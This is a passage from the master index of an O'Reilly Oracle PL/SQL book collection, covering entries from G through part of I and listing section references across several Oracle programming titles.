generating Oracle sequence numbers: 19.4.1.5. Generating sequence numbers, Advanced Oracle PL/SQL Programming with Packages
generating PL/SQL code: 16. PLVgen: Generating PL/SQL Programs, Advanced Oracle PL/SQL Programming with Packages
generating code: 5.13. PLVgen: PL/SQL Code Generator, Advanced Oracle PL/SQL Programming with Packages
generic GROUP BY package, native dynamic SQL: 4.3.4. Generic GROUP BY Package, Guide to Oracle8i Features
generic GROUP BY procedure, native dynamic SQL: 4.3.3. Generic GROUP BY Procedure, Guide to Oracle8i Features
generic calculator function: 4.6.3.2. Generic calculator function, Guide to Oracle8i Features
geographic information systems (GIS): 1.3.9.3. Spatial data, Oracle Web Applications
get-and-set routines
5.13.9. Generating get-and-set routines, Advanced Oracle PL/SQL Programming with Packages
16.2.4. Generating Get-and-Set Routines, Advanced Oracle PL/SQL Programming with Packages
getAttributes method: 9.9.2. Passing Objects to Java, Guide to Oracle8i Features
get_attribute function, XML_INVOICE_PKG: 9.5.2. Body, Oracle Web Applications
get_current_user, FORUM_USERS package
8.3.5. The FORUM_USERS Package, Oracle Web Applications
8.3.5.2. Body, Oracle Web Applications
get_keyword function
5.26.4. Retrieving keyword information, Advanced Oracle PL/SQL Programming with Packages
10.2.3. Retrieving Information About a Token, Advanced Oracle PL/SQL Programming with Packages
get_line procedure
5.11.9. Reading from a file, Advanced Oracle PL/SQL Programming with Packages
5.15.7. Reading and writing lines, Advanced Oracle PL/SQL Programming with Packages
5.17.5. Reading the log , Advanced Oracle PL/SQL Programming with Packages
12.6. Reading From the Source, Advanced Oracle PL/SQL Programming with Packages
13.5.1. Reading the Next Line, Advanced Oracle PL/SQL Programming with Packages
21.1.4.2. Retrieving log data from PL/SQL table, Advanced Oracle PL/SQL Programming with Packages
get_lock_TF function: 4.1.4.1. The dblock package, Oracle Built-in Packages
get_next_atomic procedure: 5.16.2. Scanning PL/SQL strings, Advanced Oracle PL/SQL Programming with Packages
get_next_token procedure: 5.16.2. Scanning PL/SQL strings, Advanced Oracle PL/SQL Programming with Packages
get_nextline procedure: 6.2.7.1. Enhancing UTL_FILE.GET_LINE, Oracle Built-in Packages
getkey_clrtyp function
A.1.8. Module Evaluation: Foreign Key Lookup, Advanced Oracle PL/SQL Programming with Packages
A.2.8.1. A rewrite of the getkey_clrtyp function, Advanced Oracle PL/SQL Programming with Packages
getlines.tst : 6.1.4.2. The DBMS_OUTPUT.GET_LINES procedure, Oracle Built-in Packages
getnext.sp : 6.2.7.1. Enhancing UTL_FILE.GET_LINE, Oracle Built-in Packages
global data
2.10.3. Simplifying Package Interfaces, Advanced Oracle PL/SQL Programming with Packages
16.1.4. Object Persistence, Oracle PL/SQL Programming
16.5.2. Global Within a Single Oracle Session, Oracle PL/SQL Programming
1.3.4. Object Persistence, Advanced Oracle PL/SQL Programming with Packages
1.6.1.3. Need global data structures for your PL/SQL programs, Advanced Oracle PL/SQL Programming with Packages
global variables
2.10.2. Tracing Variable Reads and Writes, Advanced Oracle PL/SQL Programming with Packages
22.5.4. Avoid Global Variables and Data Structures , Oracle PL/SQL Programming
global scope: 4.6.3. Dynamic PL/SQL , Guide to Oracle8i Features
go procedure: 22.1.6.2. The high-level handlers, Advanced Oracle PL/SQL Programming with Packages
grant operations, AQ: 7.6.2. System-Level Access Control, Guide to Oracle8i Features
grantee parameter, GRANT_SYSTEM_PRIVILEGE procedure: 7.6.2.1. GRANT_SYSTEM_PRIVILEGE: Granting system-level privileges, Guide to Oracle8i Features
greater than (>=) operator: 2.1. The PL/SQL Character Set, Oracle PL/SQL Programming
group functions in cursors: 6.13.1.1. Inefficiency of group functions in cursors, Oracle PL/SQL Programming
groups, WebDB: 3.1.3.3. Controlling access to content, Oracle Web Applications

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 2000 O'Reilly & Associates, Inc. All rights reserved.


Master Index: H

Index: H

HAVING clause, SELECT statement: 4.3.3. Generic GROUP BY Procedure, Guide to Oracle8i Features
HEADCLOSE procedure, HTP: 7.1.1. HTP: Generating HTML, Oracle Web Applications
HEADOPEN procedure, HTP: 7.1.1. HTP: Generating HTML, Oracle Web Applications
HEXTORAW function: 14.2.3. The HEXTORAW function, Oracle PL/SQL Programming
HTF package: 2.4.1. The PL/SQL Toolkit, Oracle Web Applications
parsing: 7.1.3. HTF: Parsing HTML, Oracle Web Applications
HTML
1.2.2. Application Development, Oracle Web Applications
1.3. Oracle's Solution -- Oracle8i, Oracle Web Applications
5. HTML, Oracle Web Applications
attributes: 5.1.2.2. Attributes, Oracle Web Applications
browser-specific extensions: 5.2.8. Beware Browser-Specific Extensions, Oracle Web Applications
forms: 2.4.3.2. Using an HTML form, Oracle Web Applications
parsing: 7.1.3. HTF: Parsing HTML, Oracle Web Applications
programming in: 5.1. Programming in HTML, Oracle Web Applications
reasons for using: 1.4.2.1. Why HTML?, Oracle Web Applications
syntax: 5.1.2. Syntax, Oracle Web Applications
tags
5.2. A Whirlwind Tour, Oracle Web Applications
5.2.1. Structural Tags, Oracle Web Applications
anchor
5.2. A Whirlwind Tour, Oracle Web Applications
5.2.4. Anchor Tags, Oracle Web Applications
content flow
5.2. A Whirlwind Tour, Oracle Web Applications
5.2.3. Content Flow Tags, Oracle Web Applications
form
5.2. A Whirlwind Tour, Oracle Web Applications
5.2.7. Form Tags, Oracle Web Applications
list
5.2. A Whirlwind Tour, Oracle Web Applications
5.2.5. List Tags, Oracle Web Applications
structural
5.2. A Whirlwind Tour, Oracle Web Applications
5.2.1. Structural Tags, Oracle Web Applications
table
5.2. A Whirlwind Tour, Oracle Web Applications
5.2.6. Table Tags, Oracle Web Applications
text formatting: 5.2.2. Text Formatting Tags, Oracle Web Applications
HTMLCLOSE procedure, HTP: 7.1.1. HTP: Generating HTML, Oracle Web Applications
HTMLOPEN procedure, HTP: 7.1.1. HTP: Generating HTML, Oracle Web Applications
HTP package
2.4.1. The PL/SQL Toolkit, Oracle Web Applications
7.1.1. HTP: Generating HTML, Oracle Web Applications
HTTP: 1.3.1. The Internet File System, Oracle Web Applications
HTTP Listener: 2.3.1. The HTTP Listener, Oracle Web Applications
HTTP_HEADER_CLOSE procedure: 7.4.1.4. HTML and HTTP utilities, Oracle Web Applications
halting programs: 22.1.9. Halting in PLVexc, Advanced Oracle PL/SQL Programming with Packages
halting programs on exceptions: 5.10.6. Exception handlers, Advanced Oracle PL/SQL Programming with Packages
handle procedure
5.10.6. Exception handlers, Advanced Oracle PL/SQL Programming with Packages
22.1.6.1. The handle procedure, Advanced Oracle PL/SQL Programming with Packages
22.3.3.1. Implementing the generic handler, Advanced Oracle PL/SQL Programming with Packages
handlers: 6.1. Structured Programming in PL/SQL , Oracle Web Applications
handles, object: (see identifiers)
handling exceptions: (see exceptions)
(see
(see exceptions)
hard-coded literals: (see literals)
hashdemo.sp : 10.1.2.12. The DBMS_UTILITY.GET_HASH_VALUE function, Oracle Built-in Packages
hashing
example: 10.1.2.12. The DBMS_UTILITY.GET_HASH_VALUE function, Oracle Built-in Packages
generating values: 10.1.2.12. The DBMS_UTILITY.GET_HASH_VALUE function, Oracle Built-in Packages
hashval function: 10.1.2.12. The DBMS_UTILITY.GET_HASH_VALUE function, Oracle Built-in Packages
hasout function: 10.2.3.2. Using psdesc.args as a quality assurance tool, Oracle Built-in Packages
hasout.sf : 10.2.3.2. Using psdesc.args as a quality assurance tool, Oracle Built-in Packages
hasout.tst : 10.2.3.2. Using psdesc.args as a quality assurance tool, Oracle Built-in Packages
head, HTML tag: 5.2.1. Structural Tags, Oracle Web Applications
header section, PL/SQL: 6.1. Structured Programming in PL/SQL , Oracle Web Applications
headers
program: 16.3.3. Using the Program Header, Advanced Oracle PL/SQL Programming with Packages
function: 15.5.5. Function Header, Oracle PL/SQL Programming
procedure: 15.4.2. Procedure Header, Oracle PL/SQL Programming
recognizing encrypted code from: 23.7.3. Impact of Encrypting Code, Oracle PL/SQL Programming
table
5.25.3. Toggle for showing header, Advanced Oracle PL/SQL Programming with Packages
8.3. Showing Header Toggle, Advanced Oracle PL/SQL Programming with Packages
help
(see also documentation)
asking for: 24.2.4. Take Breaks and Ask for Help, Oracle PL/SQL Programming
help.sql script: 4.5. Using Online Help, Advanced Oracle PL/SQL Programming with Packages
help_end function
5.14.3. Help text stub generators, Advanced Oracle PL/SQL Programming with Packages
17.4.3. Creating Help Text, Advanced Oracle PL/SQL Programming with Packages
help_start function
5.14.3. Help text stub generators, Advanced Oracle PL/SQL Programming with Packages
17.4.3. Creating Help Text, Advanced Oracle PL/SQL Programming with Packages
helpproc procedure
5.13.5. Help generators, Advanced Oracle PL/SQL Programming with Packages
16.2.5.2. Generating a help procedure, Advanced Oracle PL/SQL Programming with Packages
helptext procedure
5.13.5. Help generators, Advanced Oracle PL/SQL Programming with Packages
16.2.5.1. Generating help text stubs, Advanced Oracle PL/SQL Programming with Packages
17.4.3. Creating Help Text, Advanced Oracle PL/SQL Programming with Packages
hex-to/from-raw conversions: 9.2.2.1. Conversion and coercion, Oracle Built-in Packages
hexadecimal strings, converting: 14.2.3. The HEXTORAW function, Oracle PL/SQL Programming
hiding get-and-set routines: 16.2.4. Generating Get-and-Set Routines, Advanced Oracle PL/SQL Programming with Packages
hiding package elements
1.3.1. Enforced Information Hiding, Advanced Oracle PL/SQL Programming with Packages
1.6.1.5. Isolate volatile areas of functionality, Advanced Oracle PL/SQL Programming with Packages
2.7. Building Windows Into Your Packages, Advanced Oracle PL/SQL Programming with Packages
2.10. Hiding Package Data, Advanced Oracle PL/SQL Programming with Packages
hiding information: (see private elements, package)
hierarchy wizard, WebDB: 3.1.2.2. Building user interface components , Oracle Web Applications
history of PL/Vision: 4.1.2. The Origins of PL/Vision, Advanced Oracle PL/SQL Programming with Packages
homogeneity of tables: 10.2. Characteristics of PL/SQL Tables, Oracle PL/SQL Programming
host arrays: 5.1. Context-Switching Problem Scenarios, Guide to Oracle8i Features
host variables
binding
2.3.1. Processing Flow of Dynamic SQL, Oracle Built-in Packages
2.3.4. Binding Values into Dynamic SQL, Oracle Built-in Packages
arrays: 2.3.4.1. The DBMS_SQL.BIND_VARIABLE procedure , Oracle Built-in Packages
concatenation versus
2.3.4. Binding Values into Dynamic SQL, Oracle Built-in Packages
2.3.4.1. The DBMS_SQL.BIND_VARIABLE procedure , Oracle Built-in Packages
dynamic SQL blocks and: 2.3.4.1. The DBMS_SQL.BIND_VARIABLE procedure , Oracle Built-in Packages
references to: 25.4.3.2. Minimize references to host variables, Oracle PL/SQL Programming
scalar values: 2.3.4.1. The DBMS_SQL.BIND_VARIABLE procedure , Oracle Built-in Packages
syntax for: 2.3.4.1. The DBMS_SQL.BIND_VARIABLE procedure , Oracle Built-in Packages
hour (see date and time)
hybrid sites: 1.1. The Internet Grows Up, Oracle Web Applications
hyperbolic cosine function: 13.1.8. The COSH function, Oracle PL/SQL Programming
hyperbolic sine function: 13.1.18. The SINH function, Oracle PL/SQL Programming
hyperbolic tangent function: 13.1.21. The TANH function, Oracle PL/SQL Programming

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 2000 O'Reilly & Associates, Inc. All rights reserved.


Master Index: I

Index: I

%ISOPEN cursor attribute
6.9.4. The %ISOPEN Attribute, Oracle PL/SQL Programming
6.5. Opening Cursors, Oracle PL/SQL Programming
I/O
errors: 6.2.6.1. Handling file I/O errors, Oracle Built-in Packages
I/O-intensive SQL: 25.3.6. Use PL/SQL to Improve Performance of IO-Intensive SQL, Oracle PL/SQL Programming
PLVfile package for: 5.11. PLVfile: Operating System I/O Manager, Advanced Oracle PL/SQL Programming with Packages
PLVio package for: 5.15. PLVio: Input/Output Processing, Advanced Oracle PL/SQL Programming with Packages
PLVtrc output: 21.2.1. Directing Output from PLVtrc, Advanced Oracle PL/SQL Programming with Packages
output prefix: 7.3. The Output Prefix , Advanced Oracle PL/SQL Programming with Packages
p package output
5.2.1. Toggling output from the p package, Advanced Oracle PL/SQL Programming with Packages
7.4. Controlling Output from p, Advanced Oracle PL/SQL Programming with Packages
put_line output: 16.4.3.2. Output mechanism of put_line, Advanced Oracle PL/SQL Programming with Packages
reducing by calling PL/SQL in SQL: 25.3.2. Call PL/SQL Functions in SQL to Reduce I/O, Oracle PL/SQL Programming
standard output: 12.2.5. Standard Output Target, Advanced Oracle PL/SQL Programming with Packages
ID, foreign keys: 5.12.4. Looking up the ID, Advanced Oracle PL/SQL Programming with Packages
IF statements
5.1. Conditional Control Statements, Oracle PL/SQL Programming
A.1.1. Conditional Logic, Advanced Oracle PL/SQL Programming with Packages
A.2.1. Conditional Logic, Advanced Oracle PL/SQL Programming with Packages
3.7. Handling Program Assumptions, Advanced Oracle PL/SQL Programming with Packages
ELSE keyword: 5.1.2. The IF-THEN-ELSE Combination, Oracle PL/SQL Programming
ELSIF keyword: 5.1.3. The IF-ELSIF Combination, Oracle PL/SQL Programming
ELSIF statement: 1.7.5. Structured Code and Other Best Practices, Oracle PL/SQL Programming
exception handlers as: 8.9. Exception Handler as IF Statement, Oracle PL/SQL Programming
formatting: 3.3.1. Formatting IF Statements, Oracle PL/SQL Programming
nested: 5.1.4. Nested IF Statements, Oracle PL/SQL Programming
replacing DECODE function: 17.8.4. Replacing DECODEs with IF Statements, Oracle PL/SQL Programming
using whitespace in: 3.1.1. Revealing Logical Structure with Indentation, Oracle PL/SQL Programming
IF-THEN conditional statements, PL/SQL: 6.2.3. Conditionals, Oracle Web Applications
IF-THEN-ELSE conditional statements, PL/SQL: 6.2.3. Conditionals, Oracle Web Applications
IMAP4: 1.3.1. The Internet File System, Oracle Web Applications
IN OUT mode, bind argument: 4.4.3. Argument Modes , Guide to Oracle8i Features
IN OUT parameters
25.4.3.1. Work with local copies, Oracle PL/SQL Programming
15.6.2.3. The IN OUT mode, Oracle PL/SQL Programming
22.7.3. Assign Values to All OUT and IN OUT Parameters, Oracle PL/SQL Programming
INDICATOR property for: 21.4.3.1. INDICATOR property, Oracle PL/SQL Programming
external procedure mappings: 21.4.1. Datatype Conversion, Oracle PL/SQL Programming
in functions
22.2.1.1. Do not use OUT and IN OUT parameters, Oracle PL/SQL Programming
1.7.5. Structured Code and Other Best Practices, Oracle PL/SQL Programming
IN mode
15.6.2.1. IN mode, Oracle PL/SQL Programming
bind argument: 4.4.3. Argument Modes , Guide to Oracle8i Features
stored functions and: 17.3. Requirements for Stored Functions in SQL, Oracle PL/SQL Programming
IN parameters: 25.4.3.1. Work with local copies, Oracle PL/SQL Programming
INDICATOR property
21.4.1. Datatype Conversion, Oracle PL/SQL Programming
21.4.3.1. INDICATOR property, Oracle PL/SQL Programming
INIT.ORA initialization file: 2.4. Rules and Restrictions, Guide to Oracle8i Features
INITCAP function: 11.1.4. The INITCAP function, Oracle PL/SQL Programming
INITIALIZE procedure: 10.4.2.1. The DBMS_RANDOM.INITIALIZE procedure, Oracle Built-in Packages
INS column, *_POLICIES data dictionary views: 8.4.3. Context Data Dictionary Views, Guide to Oracle8i Features
INSERT statement
(see also DML statements)
12.5. Managing the Target Repository, Advanced Oracle PL/SQL Programming with Packages
1.3.5. New Trigger Capabilities (Chapter 6, New Trigger Features in Oracle8i), Guide to Oracle8i Features
3.2.2. Some Rules and Restrictions, Guide to Oracle8i Features
6. New Trigger Features in Oracle8i, Guide to Oracle8i Features
4.2.3.2. The VARCHAR2 and VARCHAR datatypes, Oracle PL/SQL Programming
10.3. PL/SQL Tables and DML Statements, Oracle PL/SQL Programming
multiple-row inserts: 2.5.6.1. Using array processing to insert, Oracle Built-in Packages
single-row RETURNING clause: 2.5.7.1. RETURNING from a single-row insert, Oracle Built-in Packages
THE function with: 19.5.1. The THE Pseudo-function, Oracle PL/SQL Programming
INSTANCE_NUM attribute, database-level event: 6.2. Database-Level Event Triggers, Guide to Oracle8i Features
INSTEAD OF triggers
6.1. Triggers on Nested Table View Columns, Guide to Oracle8i Features
20.2. INSTEAD OF Triggers, Oracle PL/SQL Programming
compiling: 20.7.3. Forcing Compilation, Oracle PL/SQL Programming
INSTR function
10.1.3.4. nth_atomic function, Advanced Oracle PL/SQL Programming with Packages
13.5.3. The INSTR of PLVFile, Advanced Oracle PL/SQL Programming with Packages
8.1.1. DBMS_LOB Programs, Oracle Built-in Packages
8.3.2.5. The DBMS_LOB.INSTR function, Oracle Built-in Packages
C.6.12. The INSTR function, Oracle PL/SQL Programming
11.1.5. The INSTR function, Oracle PL/SQL Programming
11.2.4. Counting Substring Occurrences in Strings, Oracle PL/SQL Programming
INSTRB function: 11.1.5. The INSTR function, Oracle PL/SQL Programming
INTEGER datatype: 25.4.5. Use PLS_INTEGER for All Integer Operations, Oracle PL/SQL Programming
INTERVAL procedure
13.1.1. DBMS_JOB Programs, Oracle Built-in Packages
13.2.6.2. The DBMS_JOB.INTERVAL procedure, Oracle Built-in Packages
C.5.3. The INTERVAL procedure, Oracle PL/SQL Programming
INTO clause
(see also FETCH statement)
1.3.4. Bulk Binds and Collects (Chapter 5, Bulking Up with PL/SQL 8.1), Guide to Oracle8i Features
4.2.1. The EXECUTE IMMEDIATE Statement, Guide to Oracle8i Features
6.6.1. Matching Column List with INTO Clause, Oracle PL/SQL Programming
9.5.2. SELECT INTO from an Implicit Cursor, Oracle PL/SQL Programming
9.5.3. FETCH INTO from an Explicit Cursor, Oracle PL/SQL Programming
EXECUTE IMMEDIATE statement: 4.2.1. The EXECUTE IMMEDIATE Statement, Guide to Oracle8i Features
INVALID_CURSOR exception: 8.3.1. Named System Exceptions , Oracle PL/SQL Programming
INVALID_FILEHANDLE exception: 13.1.4. Handling UTL_FILE Errors, Advanced Oracle PL/SQL Programming with Packages
INVALID_MODE exception: 13.1.4. Handling UTL_FILE Errors, Advanced Oracle PL/SQL Programming with Packages
INVALID_NUMBER exception: 8.3.1. Named System Exceptions , Oracle PL/SQL Programming
INVALID_OPERATION exception: 13.1.4. Handling UTL_FILE Errors, Advanced Oracle PL/SQL Programming with Packages
INVALID_PATH exception
13.1.4. Handling UTL_FILE Errors, Advanced Oracle PL/SQL Programming with Packages
13.9. Handling File Errors with PLVfile, Advanced Oracle PL/SQL Programming with Packages
IP_ADDRESS attribute, SYS_CONTEXT function: 8.4.1. The SYS_CONTEXT Function, Guide to Oracle8i Features
IP_ADDRESS datatype: 7.4.1.2. Querying the environment, Oracle Web Applications
IS: (see initialization section, package)
IS DANGLING predicate: 18.2.3. Adding Complex Data Structures, Oracle PL/SQL Programming
IS keyword: 1.3.2. Invoker Rights (Chapter 3, Invoker Rights: Your Schema or Mine? ), Guide to Oracle8i Features
ISTEMPORARY procedure, DBMS_LOB package: 7.5.2.3. ISTEMPORARY: Is it a temporary LOB?, Guide to Oracle8i Features
ISUBMIT procedure
13.1.1. DBMS_JOB Programs, Oracle Built-in Packages
13.2.5.2. The DBMS_JOB.ISUBMIT procedure, Oracle Built-in Packages
C.5.4. The ISUBMIT procedure, Oracle PL/SQL Programming
IS_LOCATOR function, UTL_COLL package: 7.4. UTL_COLL: Using Collection Locators, Guide to Oracle8i Features
IS_OPEN function
C.14.9. The IS_OPEN function, Oracle PL/SQL Programming
C.17.1.6. The IS_OPEN function, Oracle PL/SQL Programming
IS_OPEN function (DBMS_SQL package)
2.2.3. DBMS_SQL Programs, Oracle Built-in Packages
2.3.2.2. The DBMS_SQL.IS_OPEN function, Oracle Built-in Packages
IS_OPEN function (UTL_FILE)
6.2.1.1. UTL_FILE programs, Oracle Built-in Packages
6.2.2.2. The UTL_FILE.IS_OPEN function, Oracle Built-in Packages
tips about: 6.2.6.5. You closed what?, Oracle Built-in Packages
IS_PARALLEL_SERVER function
10.1.1. Getting Started with DBMS_UTILITY, Oracle Built-in Packages
10.1.2.15. The DBMS_UTILITY.IS_PARALLEL_SERVER function, Oracle Built-in Packages
C.16.7. The IS_PARALLEL_SERVER function, Oracle PL/SQL Programming
IS_ROLE_ENABLED function
11.1.1.1. DBMS_SESSION programs , Oracle Built-in Packages
11.1.3.1. The DBMS_SESSION.IS_ROLE_ENABLED function, Oracle Built-in Packages
C.12.2. The IS_ROLE_ENABLED function, Oracle PL/SQL Programming
IS_SERVERERROR attribute, database-level event: 6.2. Database-Level Event Triggers, Guide to Oracle8i Features
I_AM_A_REFRESH function
14.1.1. Getting Started with DBMS_SNAPSHOT, Oracle Built-in Packages
14.1.2.1. The DBMS_SNAPSHOT.I_AM_A_REFRESH function, Oracle Built-in Packages
Informix: 1.2. And Then There's Java, Guide to Oracle8i Features
Institute for Study Conduction: 1.3.5. Encapsulating Access to the Built-in Packages, Oracle Built-in Packages
Intel: 1.2.2.2. Developers must know too many platforms, Oracle Web Applications
Internet Explorer: 2.2.4. The Web Browser, Oracle Web Applications
Internet File System (iFS)
1.1. What's in Oracle8i Release 8.1?, Guide to Oracle8i Features
1.3. Oracle's Solution -- Oracle8i, Oracle Web Applications
1.3.1. The Internet File System, Oracle Web Applications
Internet technology: (see web technologies)
InternetLite
1.3. Oracle's Solution -- Oracle8i, Oracle Web Applications
1.3.8. InternetLite, Oracle Web Applications
id function: 19.6.4. Looking up the ID, Advanced Oracle PL/SQL Programming with Packages
identifiers
(see also object names)
precedence in cursors: 6.4.3. Identifier Precedence in a Cursor, Oracle PL/SQL Programming
qualified: 15.3.5.1. Qualified identifiers, Oracle PL/SQL Programming
savepoints: (see savepoints)
identity, object: 18.1.4.1. Identity , Oracle PL/SQL Programming
idisplay procedure: 8.7. Implementing PLVtab.display, Advanced Oracle PL/SQL Programming with Packages
idx procedure: 5.8.3. Dumping the DDL, Advanced Oracle PL/SQL Programming with Packages
ifunc procedure: 16.4.4.2. Translating data to constant, Advanced Oracle PL/SQL Programming with Packages
il2tab2.sp : 6.2.7.1. Enhancing UTL_FILE.GET_LINE, Oracle Built-in Packages
imagemap, WebDB dashboard: 3.1.3.1. User-uploaded content, Oracle Web Applications
images library, WebDB: 3.1.2.3. Building shared components, Oracle Web Applications
immediate execution: 2.3.3.1. The DBMS_SQL.PARSE procedure, Oracle Built-in Packages
immediate fetching: 2.3.7.2. The DBMS_SQL.EXECUTE_AND_FETCH function, Oracle Built-in Packages
implemenations, comparing: 14.4.1. Comparing Performance of Different Implementations, Advanced Oracle PL/SQL Programming with Packages
implementation of code: 3.9. Considering Implementation Options, Advanced Oracle PL/SQL Programming with Packages
implicit conversion: 14. Conversion Functions, Oracle PL/SQL Programming
implicit cursors
(see also cursors)
1.7.4. Standardize Your PL/SQL Development Environment, Oracle PL/SQL Programming
6.2.1. Types of Cursors, Oracle PL/SQL Programming
6.3.1. Implicit Cursors, Oracle PL/SQL Programming
6.3.3. Explicit Cursors, Oracle PL/SQL Programming
SELECT INTO from: 9.5.2. SELECT INTO from an Implicit Cursor, Oracle PL/SQL Programming
attributes to
6.9. Cursor Attributes, Oracle PL/SQL Programming
6.9.5. Implicit SQL Cursor Attributes, Oracle PL/SQL Programming
vulnerability to data errors: 6.3.2.2. Vulnerability to data errors, Oracle PL/SQL Programming
implicit datatype conversion: 4.2.8.2. Implicit data conversions, Oracle PL/SQL Programming
implicit queries: 1.6.1.5. Isolate volatile areas of functionality, Advanced Oracle PL/SQL Programming with Packages
import/export: (see master sites, instantiation)
in-doubt transactions
advice about: 4.2.2. Advising Oracle About In-Doubt Transactions, Oracle Built-in Packages
commitment: 4.2.3.2. The DBMS_TRANSACTION.COMMIT_COMMENT procedure, Oracle Built-in Packages
purging: 4.2.6.1. The DBMS_TRANSACTION.PURGE_MIXED procedure, Oracle Built-in Packages
rollback: 4.2.4.2. The DBMS_TRANSACTION.ROLLBACK_FORCE procedure, Oracle Built-in Packages
inclschema procedure: 5.8.1. Including the schema, Advanced Oracle PL/SQL Programming with Packages
inclsp procedure: 5.8.2. Including the storage parameter, Advanced Oracle PL/SQL Programming with Packages
including_schema function: 5.8.1. Including the schema, Advanced Oracle PL/SQL Programming with Packages
including_sp function: 5.8.2. Including the storage parameter, Advanced Oracle PL/SQL Programming with Packages
inclusive or: (see OR bit operation)
incomplete installation: 4.4.4. A Warning About Partial Installation , Advanced Oracle PL/SQL Programming with Packages
incr_indent function: 16.3.1. Indentation in PLVgen, Advanced Oracle PL/SQL Programming with Packages
increment_and_commit procedure
5.7.3. Performing commits, Advanced Oracle PL/SQL Programming with Packages
12.9.3. Clearing the Target, Advanced Oracle PL/SQL Programming with Packages
20.1.3. Performing Incremental Commits, Advanced Oracle PL/SQL Programming with Packages
inctlg.sql script
18.2.3.3. Examining the catalogue, Advanced Oracle PL/SQL Programming with Packages
18.2.4.1. Examining the references, Advanced Oracle PL/SQL Programming with Packages
indent function: 16.3.1. Indentation in PLVgen, Advanced Oracle PL/SQL Programming with Packages
indent_stg function: 16.4.3.3. Modularization inside put_line , Advanced Oracle PL/SQL Programming with Packages
indentation
2.2. Using Effective Coding Style for Packages, Advanced Oracle PL/SQL Programming with Packages
5.13.1. Package constants, Advanced Oracle PL/SQL Programming with Packages
in PLVgen package: 16.3.1. Indentation in PLVgen, Advanced Oracle PL/SQL Programming with Packages
of generated code: 16.2.2.3. Changing indentation of generated code, Advanced Oracle PL/SQL Programming with Packages
index wizard, WebDB: 3.1.2.1. Building database objects, Oracle Web Applications
index, FOR loop: 1.7.5. Structured Code and Other Best Practices, Oracle PL/SQL Programming
index, table
(see also tables)
10.2. Characteristics of PL/SQL Tables, Oracle PL/SQL Programming
10.4.1. Defining the Table TYPE, Oracle PL/SQL Programming
10.8.1.1. Referencing fields of record elements in PL/SQL tables, Oracle PL/SQL Programming
index-by tables
(see also collections)
6.2.6. Index-by Tables (Arrays), Oracle Web Applications
4.1. DBMS_SQL Versus NDS, Guide to Oracle8i Features
5.1. Context-Switching Problem Scenarios, Guide to Oracle8i Features
19.1. Types of Collections, Oracle PL/SQL Programming
25.4.8. Use Index-By Tables of Records and Objects, Oracle PL/SQL Programming
adding/removing elements of: 19.4.3. Adding and Removing Elements, Oracle PL/SQL Programming
array processing and
2.2.6. DBMS_SQL Nonprogram Elements, Oracle Built-in Packages
2.5.6. Array Processing with DBMS_SQL, Oracle Built-in Packages
copying: 2.5.6.5. Using array processing in dynamic PL/SQL , Oracle Built-in Packages
assigning values to elements: 19.4.2. Assigning Values to Elements: Index (Subscript) Considerations, Oracle PL/SQL Programming
dynamic SQL blocks and: 2.3.4.1. The DBMS_SQL.BIND_VARIABLE procedure , Oracle Built-in Packages
initializing: 19.4.1. Initializing Collection Variables, Oracle PL/SQL Programming
index_row variable, FORALL statement: 5.2. Bulk DML with the FORALL Statement, Guide to Oracle8i Features
indexes
ROWID datatype for: 4.2.3.6. The ROWID datatype, Oracle PL/SQL Programming
space utilization: 12.1. DBMS_SPACE: Obtaining Space Information, Oracle Built-in Packages
indirect referencing
4.6.3. Dynamic PL/SQL , Guide to Oracle8i Features
example of: 2.5.5. Indirect Referencing in PL/SQL, Oracle Built-in Packages
infile function
5.11.9. Reading from a file, Advanced Oracle PL/SQL Programming with Packages
13.5.3. The INSTR of PLVFile, Advanced Oracle PL/SQL Programming with Packages
infinite loops: 7.2. The Simple Loop, Oracle PL/SQL Programming
WHILE loops: 7.5.1. The Infinite WHILE Loop, Oracle PL/SQL Programming
formatting: 3.3.2. Formatting Loops, Oracle PL/SQL Programming
information hiding
18.1.5.1. Information hiding, Oracle PL/SQL Programming
PL/SQL packages: 6.3.5. Information Hiding, Oracle Web Applications
inheritance
18.1.4.3. Inheritance , Oracle PL/SQL Programming
modifying persistent objects and: 18.5. Modifying Persistent Objects, Oracle PL/SQL Programming
init.ora file: 13.1.1. Enabling File Access in the Oracle Server , Advanced Oracle PL/SQL Programming with Packages
init_counter procedure
5.7.4. Managing the commit counter, Advanced Oracle PL/SQL Programming with Packages
20.1.3.2. Initializing the counter, Advanced Oracle PL/SQL Programming with Packages
init_info procedure: 10.1.2.8. The DBMS_UTILITY.DB_VERSION procedure, Oracle Built-in Packages
init_table procedure
5.22.3. Parsing PL/SQL source code, Advanced Oracle PL/SQL Programming with Packages
10.3.3. Initializing a Table of Tokens, Advanced Oracle PL/SQL Programming with Packages
initcur procedure: 2.4.4. Minimizing Memory for Cursors, Oracle Built-in Packages
initialization parameters, returning: 10.1.2.13. The DBMS_UTILITY.GET_PARAMETER_VALUE function , Oracle Built-in Packages
initialization section, package
1.6.3. The Initialization Section, Advanced Oracle PL/SQL Programming with Packages
1.6.5.2. Asserting the purity level of the initialization section, Advanced Oracle PL/SQL Programming with Packages
asserting purity level: 17.5.2. Asserting Purity Level with Package Initialization Section, Oracle PL/SQL Programming
initializing
BFILE columns: 13.2.1. The BFILENAME function, Oracle PL/SQL Programming
PLVcmt counter: 20.1.3.2. Initializing the counter, Advanced Oracle PL/SQL Programming with Packages
SQL*Plus: 4.4.2. A PL/Vision Initialization Script for SQL*Plus, Advanced Oracle PL/SQL Programming with Packages
collection variables: 19.4.1. Initializing Collection Variables, Oracle PL/SQL Programming
objects: 18.4.1. The Need to Initialize, Oracle PL/SQL Programming
packages: 16.6. Package Initialization, Oracle PL/SQL Programming
records: 9.6.2. Record Initialization, Oracle PL/SQL Programming
source repository: 12.3.2. Initializing the Source, Advanced Oracle PL/SQL Programming with Packages
target repository
5.15.6. Managing the target repository, Advanced Oracle PL/SQL Programming with Packages
12.5.1. Initializing the Target, Advanced Oracle PL/SQL Programming with Packages
token table: 10.3.3. Initializing a Table of Tokens, Advanced Oracle PL/SQL Programming with Packages
initline procedure: 5.15.7. Reading and writing lines, Advanced Oracle PL/SQL Programming with Packages
initsrc procedure
5.15.4. Managing the source repository, Advanced Oracle PL/SQL Programming with Packages
12.3.2. Initializing the Source, Advanced Oracle PL/SQL Programming with Packages
inittrg procedure
5.15.6. Managing the target repository, Advanced Oracle PL/SQL Programming with Packages
